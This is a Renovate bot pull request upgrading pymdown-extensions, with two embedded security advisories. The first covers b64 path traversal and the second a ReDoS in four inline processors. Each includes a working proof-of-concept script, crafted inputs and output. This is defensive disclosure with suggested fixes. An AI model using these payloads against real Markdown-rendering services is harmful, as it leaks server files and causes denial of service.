Update dependency pymdown-extensions to v11 [SECURITY]

[renovate]

This PR contains the following updates:

Package	Change	Age	Confidence
pymdown-extensions	==10.21.3 → ==11.0.1

---

PyMdown Extensions: Path traversal in the b64 extension lets read files outside base_path

CVE-2026-61632 / GHSA-9xwg-3r6f-jcx2

More information

Details

Summary

The b64 extension inlines images referenced by <img src="..."> as base64 data URIs. When resolving the src path it joins it onto the configured base_path with os.path.normpath and opens the result directly, with no check that the resolved path stays inside base_path. A src containing ../ sequences, or an absolute path, therefore reads a file outside base_path as long as that file has an allowed image extension (.png, .jpg, .jpeg, .gif, .svg). The base64 of that file is then embedded in the rendered output, disclosing its contents.

This is a separate code path from the snippets traversal issues (GHSA-jh85-wwv9-24hv, GHSA-62q4-447f-wv8h). It lives in pymdownx/b64.py and has no path restriction of any kind. Confirmed on 10.21.3 installed from PyPI.

Details

In pymdownx/b64.py, function repl_path (around lines 68 to 90 on main):

if is_absolute:
    file_name = os.path.normpath(path)                          # absolute src: base_path ignored entirely
else:
    file_name = os.path.normpath(os.path.join(base_path, path)) # relative src: '../' escapes base_path
if os.path.exists(file_name):
    ext = os.path.splitext(file_name)[1].lower()
    for b64_ext in file_types:
        if ext in b64_ext:
            with open(file_name, "rb") as f:                    # opened with no containment check
                ...

There is no startswith(base_path), no os.path.realpath comparison, and no rejection of ... Both branches are reachable from an attacker-controlled src.

PoC

Reproduced against an unmodified pymdown-extensions==10.21.3 from PyPI. The script creates a base_path directory and a PNG one level above it, then renders Markdown whose image src points outside base_path, and confirms the outside file's bytes appear base64-encoded in the output.

import base64, os, shutil, tempfile, markdown

root = tempfile.mkdtemp()
base_path = os.path.join(root, "docs"); os.makedirs(base_path)
outside = os.path.join(root, "secret"); os.makedirs(outside)

png = base64.b64decode(
    "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNk"
    "+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg=="
)
with open(os.path.join(outside, "secret.png"), "wb") as f:
    f.write(png)

md = markdown.Markdown(
    extensions=["pymdownx.b64"],
    extension_configs={"pymdownx.b64": {"base_path": base_path}},
)
html = md.convert('<img src="../secret/secret.png">')

assert base64.b64encode(png).decode() in html, "not leaked"
print("LEAKED:", html)

Output:

LEAKED: <p><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQ..."></p>

The base64 of a file outside base_path is present in the output. The absolute-path branch behaves the same way: an absolute src bypasses base_path entirely via os.path.normpath(path). Both were confirmed leaking.

Impact

An application that renders untrusted Markdown with pymdownx.b64 enabled exposes the contents of image-extension files on the server, or any path the process can read, to whoever controls the Markdown and whoever views the output. The reach is bounded by the image-extension check, so it is a targeted file read rather than full arbitrary read, but it still discloses file contents that were never meant to be exposed.

Suggested fix

Resolve the real path and require it to stay within base_path before opening:

file_name = os.path.realpath(os.path.join(base_path, path))
base_real = os.path.realpath(base_path)
if file_name != base_real and not file_name.startswith(base_real + os.sep):
    return m.group(0)  # leave the tag untouched; do not read outside base_path

The same containment check should apply to the absolute-path branch rather than trusting an absolute src. Using realpath instead of abspath also closes the related symlink-following gap in the snippets handler.

Severity

• CVSS Score: 5.3 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

References

• https://github.com/facelessuser/pymdown-extensions/security/advisories/GHSA-9xwg-3r6f-jcx2
• https://github.com/facelessuser/pymdown-extensions/commit/edce35586d11a1ef78bb187bc60497fe6dbf3b64
• https://github.com/facelessuser/pymdown-extensions/releases/tag/11.0
• https://github.com/advisories/GHSA-9xwg-3r6f-jcx2

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

pymdown-extensions: exponential-backtracking ReDoS in caret, tilde, betterem, and magiclink inline processors

CVE-2026-67422 / GHSA-gm37-52c6-37mw

More information

Details

Summary

Four inline processors in pymdown-extensions contain regular expressions with
exponential backtracking. A single untrusted Markdown line under
50 bytes drives markdown.markdown() into unbounded CPU on the rendering thread
(seconds at ~45 bytes, growing exponentially with each added character). All four
fire in the extension's default configuration
and are reachable through the documented public API. The caret/tilde/
betterem blow-up was introduced by the emphasis-pattern rewrite in PR #​2547
(first released in 10.13, Dec 2024) — earlier releases used a linear
(.+?) / ([^\s]+?) content group — and is present through 11.0 (latest);
magiclink's host pattern is long-standing and affects effectively all releases.
Likely CWE-1333 (Inefficient Regular Expression Complexity).

This is a distinct issue from CVE-2025-68142 (ReDoS in pymdownx.blocks.caption,
RE_FIG_NUM, fixed in 10.16.1): different extensions, different regexes, and a
different root cause (delimiter-run partition ambiguity rather than a ./\.
typo).

Details

Four regexes share, or closely mirror, a vulnerable shape — an inner group that
can partition a run of the delimiter character into {2,}-sized pieces in
exponentially many ways, wrapped in a lazy +? that must fail before the engine
can give up:

Extension	Regex	Location (11.0)
pymdownx.caret (superscript ^…^)	SUP2	pymdownx/caret.py:56
pymdownx.tilde (subscript ~…~)	SUB2	pymdownx/tilde.py:55
pymdownx.betterem (underscore _…_)	SMART_UNDER_EM2 (default)	pymdownx/betterem.py:93
pymdownx.magiclink (bare-URL autolink)	RE_LINK	pymdownx/magiclink.py:56 (host at :59)

pymdownx/caret.py:56 (pymdown-extensions 11.0):

SUP2 = r'(?<!\^)(\^)(?![\^\s])((?:[^\^\s]|\^{2,})+?)(?<![\^\s])(\^)(?!\^)'

The content group (?:[^\^\s]|\^{2,})+? matches a run of carets only via the
\^{2,} branch. A run of k carets can be split into ≥2-length pieces in
exponentially many combinations; when no caret can serve as a valid closing
delimiter (the trailing (?<![\^\s])(\^) cannot be satisfied), the engine
explores every partition before failing. SUB2 (tilde) and SMART_UNDER_EM2
(betterem) are the same construct for ~ and _. In betterem the default
smart_enable='underscore' routes underscores to SmartUnderscoreProcessor →
SMART_UNDER_EM2 (betterem.py:93), which is the default-reachable,
API-exploitable pattern; the non-smart UNDER_EM2 (:69, used only when
smart_enable is asterisk/disable) shares the shape but did not reproduce
through the public markdown.markdown() pipeline on the tested payload, so a fix
and regression test should target SMART_UNDER_EM2.

pymdownx/magiclink.py:59 has the analogous ambiguity in the host portion, where
overlapping character classes let a run of dots be grouped exponentially:

(?:ht|f)tps?://[^_\W][-\w]*(?:\.[-\w.]+)*    # host: '\.' and '[-\w.]' inside (?:...)* both match '.'

SUP2/SUB2/SMART_UNDER_EM2 are applied at each delimiter occurrence via the
default PatternSequenceProcessor subclasses (pymdownx/util.py); RE_LINK is
applied by MagiclinkPattern (registered unconditionally at priority 85). In all
four cases, rendering markdown.markdown(src, extensions=[ext]) on untrusted
src in default configuration is sufficient to reach the regex.

PoC

Single self-contained script; runs against the pinned release in an ephemeral
env. Non-destructive — the input is ordinary Markdown text; the impact is CPU/time
(a per-render alarm caps each attempt so the script terminates).

import signal
import time
from importlib.metadata import version

import markdown

print(f"# pymdown-extensions {version('pymdown-extensions')} / markdown {version('markdown')}")

CAP = 5.0  # a single render exceeding this is treated as a hang

class Timeout(Exception):
    pass

def render(ext, text):
    signal.signal(signal.SIGALRM, lambda *_: (_ for _ in ()).throw(Timeout()))
    signal.setitimer(signal.ITIMER_REAL, CAP)
    t = time.perf_counter()
    try:
        markdown.markdown(text, extensions=[ext])
        return time.perf_counter() - t
    except Timeout:
        return None
    finally:
        signal.setitimer(signal.ITIMER_REAL, 0)

##### ext -> (malicious builder, benign builder [valid & closed], ramp, hang count)
CASES = {
    "pymdownx.caret":     (lambda n: "^a" + "^" * n + "b",       lambda n: "^" + "a" * n + "^",           [24, 30, 36], 44),
    "pymdownx.tilde":     (lambda n: "~a" + "~" * n + "b",       lambda n: "~" + "a" * n + "~",           [24, 30, 36], 44),
    "pymdownx.betterem":  (lambda n: "_a" + "_" * n + "b",       lambda n: "_" + "a" * n + "_",           [24, 30, 36], 44),
    "pymdownx.magiclink": (lambda n: "http://a" + "." * n + " ", lambda n: "http://" + "a" * n + ".com ", [28, 32, 36], 40),
}

repro = []
for ext, (evil, benign, ramp, hang) in CASES.items():
    base_txt = benign(hang)  # valid, closed run: same regex machinery, but linear
    base = render(ext, base_txt)
    print(f"\n[{ext}]  benign baseline (len {len(base_txt)}, valid+closed): {base * 1e3:.3f} ms")
    prev = None
    for n in ramp:
        txt = evil(n)
        dt = render(ext, txt)
        ratio = f"  (x{dt / prev:.1f})" if (prev and dt) else ""
        shown = f"{dt:8.3f} s" if dt is not None else f"> {CAP:.0f} s (HANG)"
        print(f"          malicious len {len(txt):3d}: {shown}{ratio}")
        prev = dt
    txt = evil(hang)
    dt = render(ext, txt)
    hung = dt is None
    print(f"          malicious len {len(txt):3d}: "
          f"{'> %.0f s (HANG)' % CAP if hung else '%.3f s' % dt}")
    ok = base < 0.05 and (hung or dt > 1.0)
    repro.append(ok)
    print(f"          => {'REPRODUCED' if ok else 'not reproduced'}: a {len(txt)}-byte "
          f"malicious line stalls the renderer; a valid {len(base_txt)}-byte line is instant.")

assert all(repro), "not reproduced"
print("\nVERDICT: exponential ReDoS reproduced in all four extensions via the "
      "public markdown.markdown() API, default config (each < 50-byte input).")

Run:

uv run --with pymdown-extensions==11.0 --with markdown==3.10.2 python poc.py

The bug is in pymdown-extensions' own regexes run by the stdlib re engine, so it
is independent of the Markdown library version (markdown pinned only for
byte-exact output). Observed output:

##### pymdown-extensions 11.0 / markdown 3.10.2

[pymdownx.caret]  benign baseline (len 46, valid+closed): 11.768 ms
          malicious len  27:    0.003 s
          malicious len  33:    0.054 s  (x16.6)
          malicious len  39:    0.946 s  (x17.6)
          malicious len  47: > 5 s (HANG)
          => REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant.

[pymdownx.tilde]  benign baseline (len 46, valid+closed): 5.364 ms
          malicious len  27:    0.003 s
          malicious len  33:    0.053 s  (x17.1)
          malicious len  39:    0.962 s  (x18.2)
          malicious len  47: > 5 s (HANG)
          => REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant.

[pymdownx.betterem]  benign baseline (len 46, valid+closed): 3.167 ms
          malicious len  27:    0.003 s
          malicious len  33:    0.052 s  (x17.1)
          malicious len  39:    0.948 s  (x18.1)
          malicious len  47: > 5 s (HANG)
          => REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant.

[pymdownx.magiclink]  benign baseline (len 52, valid+closed): 4.935 ms
          malicious len  37:    0.033 s
          malicious len  41:    0.210 s  (x6.4)
          malicious len  45:    1.405 s  (x6.7)
          malicious len  49: > 5 s (HANG)
          => REPRODUCED: a 49-byte malicious line stalls the renderer; a valid 52-byte line is instant.

VERDICT: exponential ReDoS reproduced in all four extensions via the public markdown.markdown() API, default config (each < 50-byte input).

The per-step ratio stays roughly constant as the run grows (a fixed multiplicative
factor per fixed-size increment) — the signature of exponential, not polynomial,
backtracking. A valid, closed delimiter run of the same length exercises the same
regex yet renders in well under a millisecond, isolating the cost to the unclosed
crafted run. Extending it a few more characters pushes the render time into minutes
and beyond.

Impact

Denial of service: a sub-50-byte line pins the rendering thread at 100% CPU, with
no memory pressure to trip an OOM killer. Most Material/MkDocs usage renders
trusted author content at build time, but the untrusted-input exposure is concrete
in two settings:

• General Python web apps that render user-supplied Markdown (comments, wikis,
  issue/ticket bodies, chat, live preview) — notably any app using
  pymdownx.extra, which bundles betterem with the vulnerable default
  smart_enable='underscore', or that reuses a Material-style extension block in
  a runtime renderer.

• Hosted docs/CI systems that build untrusted, user-contributed Markdown, where a
  single crafted line hangs the shared build worker.

• Attacker: unauthenticated, remote (anyone who can submit Markdown).

• Configuration: default for each extension.

• Proposed CWE-1333. Proposed CVSS 3.1 (as proposed — the maintainer makes
  the final call): AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H (7.5, High).

Suggestion

The vulnerable content groups need to be rewritten so a delimiter run has exactly
one parse, removing the {2,} partition ambiguity that lets the engine
re-segment a run on backtracking. For the emphasis patterns, restructuring the
content so a delimiter run is consumed in a single, non-re-partitionable way
(rather than by a {2,} branch inside a +? group) removes the blow-up; for
RE_LINK, disambiguate the host so . is matched in exactly one place (a single
labelled-host pattern such as (?:[-\w]+)(?:\.[-\w]+)*) rather than by
overlapping classes. Possessive quantifiers / atomic groups are the most direct
tool but require Python 3.11+; since the project supports Python 3.10, a
structural rewrite is the portable option.

A regression fixture per extension (a short delimiter run with no valid closer,
asserted to render under a small time budget) would guard against reintroduction.

References

• Affected source (pymdown-extensions 11.0): pymdownx/caret.py:56 (SUP2),
  pymdownx/tilde.py:55 (SUB2), pymdownx/betterem.py:93 (SMART_UNDER_EM2,
  default; :69 UNDER_EM2 shares the shape), pymdownx/magiclink.py:56
  (RE_LINK, host subexpression at :59).
• Novelty: same class as CVE-2025-68142 (pymdownx.blocks.caption RE_FIG_NUM,
  fixed 10.16.1) but distinct extensions, regexes, and root cause. The
  caret/tilde/betterem content groups gained the vulnerable {2,}
  alternation in PR #​2547 (v10.13); earlier releases used a linear
  (.+?) / ([^\s]+?) group. magiclink's host pattern is long-standing. None
  of the four has been touched by a prior security fix; all are present in the
  latest release (11.0).

Severity

• CVSS Score: 7.5 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

• https://github.com/facelessuser/pymdown-extensions/security/advisories/GHSA-gm37-52c6-37mw
• https://nvd.nist.gov/vuln/detail/CVE-2026-67422
• https://github.com/facelessuser/pymdown-extensions/commit/c68498598d7b13011bb4571350b6e3612a4ce44b
• https://github.com/advisories/GHSA-gm37-52c6-37mw

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Release Notes

facelessuser/pymdown-extensions (pymdown-extensions)

v11.0.1

Compare Source

11.0.1

• FIX: BetterEm: Fix regex pattern inefficiencies.
• FIX: Tilde: Fix regex pattern inefficiencies.
• FIX: Caret: Fix regex pattern inefficiencies.
• FIX: MagicLink: Fix regex pattern inefficiencies.

v11.0

Compare Source

11.0

• BREAK: B64: Restricts relative links to base_path by default. Can be disabled by setting new restrict_path
  option to False. The new root_path can be specified if paths are desired to be restricted to a different
  location separate base_path which is also used as a relative base for image paths.
• NEW: Drop Python 3.9 support.
• FIX: Tabbed: Fix issue where an empty title would cause an exception.

---

Configuration

📅 Schedule: (UTC)

• Branch creation
  • At any time (no schedule defined)
• Automerge
  • At any time (no schedule defined)

🚦 Automerge: Enabled.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

---

• If you want to rebase/retry this PR, check this box

---

This PR was generated by Mend Renovate. View the repository job log.